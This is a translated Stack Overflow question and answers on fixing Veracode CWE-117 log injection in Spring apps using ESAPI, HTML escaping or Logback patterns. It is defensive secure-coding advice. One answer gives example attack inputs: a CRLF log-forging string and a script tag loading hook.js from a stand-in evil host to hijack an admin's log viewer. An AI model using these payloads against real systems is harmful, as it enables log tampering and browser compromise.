如何修复Veracode CWE 117(日志输出中和不当)

时间:2017-07-06 12:44:26

标签: java spring logging esapi veracode

有一个Spring全局@ExceptionHandler(Exception.class)方法可以记录异常:

@ExceptionHandler(Exception.class)
void handleException(Exception ex) {
    logger.error("Simple error message", ex);
...

Veracode扫描表明此日志记录已Improper Output Neutralization for Logs,并建议使用ESAPI记录器。有没有办法在不将记录器更改为ESAPI的情况下修复此漏洞?这是我遇到此问题的代码中唯一的地方,我试图找出如何以最小的更改来修复它。也许ESAPI有一些我没有注意到的方法?

P.S。当前记录器是log4j over slf4j

UPD: 最后我使用了ESAPI记录器。我认为它不会使用我的默认日志记录服务,但我错了,它只是使用我的slf4j记录器接口和适当的配置。

private static final Logger logger = ESAPI.getLogger(MyClass.class);
...
logger.error(null, "Simple error message", ex);

ESAPI具有log4j记录器和记录器工厂的扩展。可以配置在ESAPI.properties中使用的内容。例如:

ESAPI.Logger=org.owasp.esapi.reference.Log4JLogFactory

5 个答案:

答案 0 :(得分:11)

  

有没有办法在不改变的情况下修复此漏洞   记录器到ESAPI?

简而言之,是的。

TLDR:

首先要了解错误的严重性。主要关注的是伪造日志声明。假设你有这样的代码:

log.error( transactionId + " for user " + username + " was unsuccessful."

如果任一变量受用户控制,则可以使用\r\n for user foobar was successful\rn之类的输入来注入错误的日志记录语句,从而允许它们伪造日志并覆盖其轨道。 (好吧,在这种人为的情况下,只是让发现事情变得更难一点。)

第二种攻击方法更像是国际象棋移动。许多日志都是HTML格式的,可​​以在另一个程序中查看,对于这个例子,我们假装日志是要在浏览器中查看的HTML文件。现在我们注入<script src=”https://evilsite.com/hook.js” type=”text/javascript”></script>,你将使用一个最有可能作为服务器管理员执行的开发框架来浏览浏览器......因为它怀疑CEO是否会阅读日志。现在真正的黑客可以开始了。

防御:

一个简单的防御措施是确保所有带有userinput的日志语句都使用明显的字符'\ n'和'\ _ \'来转义,例如'֎',或者你可以执行ESAPI所做的操作并使用下划线进行转义。只要它一致,它就没关系,只要记住不要使用会让你在日志中迷惑的字符集。像userInput.replaceAll("\r", "֎").replaceAll("\n", "֎");

这样的东西

我还发现确保精确指定日志格式很有用...这意味着您确保对日志语句需要具有严格的标准并构建格式以便更容易捕获恶意用户。所有程序员必须提交给派对并遵循格式!

为了抵御HTML场景,我会使用[OWASP编码器项目] [1]

至于为什么建议实施ESAPI,它是一个经过实战考验的图书馆,但简而言之,这基本上就是我们所做的。见代码:

/**
 * Log the message after optionally encoding any special characters that might be dangerous when viewed
 * by an HTML based log viewer. Also encode any carriage returns and line feeds to prevent log
 * injection attacks. This logs all the supplied parameters plus the user ID, user's source IP, a logging
 * specific session ID, and the current date/time.
 *
 * It will only log the message if the current logging level is enabled, otherwise it will
 * discard the message.
 *
 * @param level defines the set of recognized logging levels (TRACE, INFO, DEBUG, WARNING, ERROR, FATAL)
 * @param type the type of the event (SECURITY SUCCESS, SECURITY FAILURE, EVENT SUCCESS, EVENT FAILURE)
 * @param message the message to be logged
 * @param throwable the {@code Throwable} from which to generate an exception stack trace.
 */
private void log(Level level, EventType type, String message, Throwable throwable) {

    // Check to see if we need to log.
    if (!isEnabledFor(level)) {
        return;
    }

    // ensure there's something to log
    if (message == null) {
        message = "";
    }

    // ensure no CRLF injection into logs for forging records
    String clean = message.replace('\n', '_').replace('\r', '_');
    if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
        clean = ESAPI.encoder().encodeForHTML(message);
        if (!message.equals(clean)) {
            clean += " (Encoded)";
        }
    }

    // log server, port, app name, module name -- server:80/app/module
    StringBuilder appInfo = new StringBuilder();
    if (ESAPI.currentRequest() != null && logServerIP) {
        appInfo.append(ESAPI.currentRequest().getLocalAddr()).append(":").append(ESAPI.currentRequest().getLocalPort());
    }
    if (logAppName) {
        appInfo.append("/").append(applicationName);
    }
    appInfo.append("/").append(getName());

    //get the type text if it exists
    String typeInfo = "";
    if (type != null) {
        typeInfo += type + " ";
    }

    // log the message
    // Fix for https://code.google.com/p/owasp-esapi-java/issues/detail?id=268
    // need to pass callerFQCN so the log is not generated as if it were always generated from this wrapper class
    log(Log4JLogger.class.getName(), level, "[" + typeInfo + getUserInfo() + " -> " + appInfo + "] " + clean, throwable);
}

见第398-453行。这就是ESAPI提供的所有逃避。我建议也要复制单元测试。

[免责声明]:我是ESAPI的项目联合负责人。

[1]:https://www.owasp.org/index.php/OWASP_Java_Encoder_Project并确保您在进入日志记录语句时对输入进行了正确编码 - 每一点都与您向用户发送输入时一样多。

答案 1 :(得分:2)

为了避免Veracode CWE 117漏洞,我使用了一个自定义记录器类,该类使用HtmlUtils.htmlEscape()函数来减轻漏洞。 Veracode针对此问题的推荐解决方案是使用ESAPI记录器,但是如果您不想向项目添加额外的依赖项,则应该可以正常工作。 https://github.com/divyashree11/VeracodeFixesJava/blob/master/spring-annotation-logs-demo/src/main/java/com/spring/demo/util/CustomLogger.java

答案 2 :(得分:1)

我是Veracode的新手,正面对CWE-117。我了解到,当您的logger语句有可能通过传入的恶意请求的参数值受到攻击时,Veracode会引发此错误。因此,我们需要从logger语句中使用的变量中删除/ r和/ n(CRLF)。

大多数新手都会想知道应该使用哪种方法从logger语句中传递的变量中删除CRLF。同样,有时replaceAll()不能正常运行,因为它不是Veracode认可的方法。因此,这是Veracode批准的用于处理CWE问题的方法的链接。 https://help.veracode.com/reader/4EKhlLSMHm5jC8P8j3XccQ/IiF_rOE79ANbwnZwreSPGA

就我而言,我使用了上面链接中提到的org.springframework.web.util.HtmlUtils.htmlEscape,它解决了这个问题。

private static final Logger LOG = LoggerFactory.getLogger(MemberController.class);
//problematic logger statement 
LOG.info("brand {}, country {}",brand,country);
//Correct logger statement
LOG.info("brand {}, country {}",org.springframework.web.util.HtmlUtils.htmlEscape(brand),org.springframework.web.util.HtmlUtils.htmlEscape(country));

答案 3 :(得分:0)

虽然我来晚了一点,但我认为这将对那些不想使用ESAPI库并且仅在异常处理程序类中遇到问题的人有所帮助

使用apache commons库

import org.apache.commons.lang3.exception.ExceptionUtils;
LOG.error(ExceptionUtils.getStackTrace(ex));

答案 4 :(得分:0)

如果您使用的是Logback,请在您的logback配置模式中使用replace函数

原始图案

<pattern>%d %level %logger : %msg%n</pattern>

带有替换

<pattern>%d %level %logger : %replace(%msg){'[\r\n]', '_'} %n</pattern>

如果您也要剥离<script>标签

<pattern>%d %-5level %logger : %replace(%msg){'[\r\n]|&lt;script', '_'} %n</pattern>

这样,您无需修改​​单个日志语句。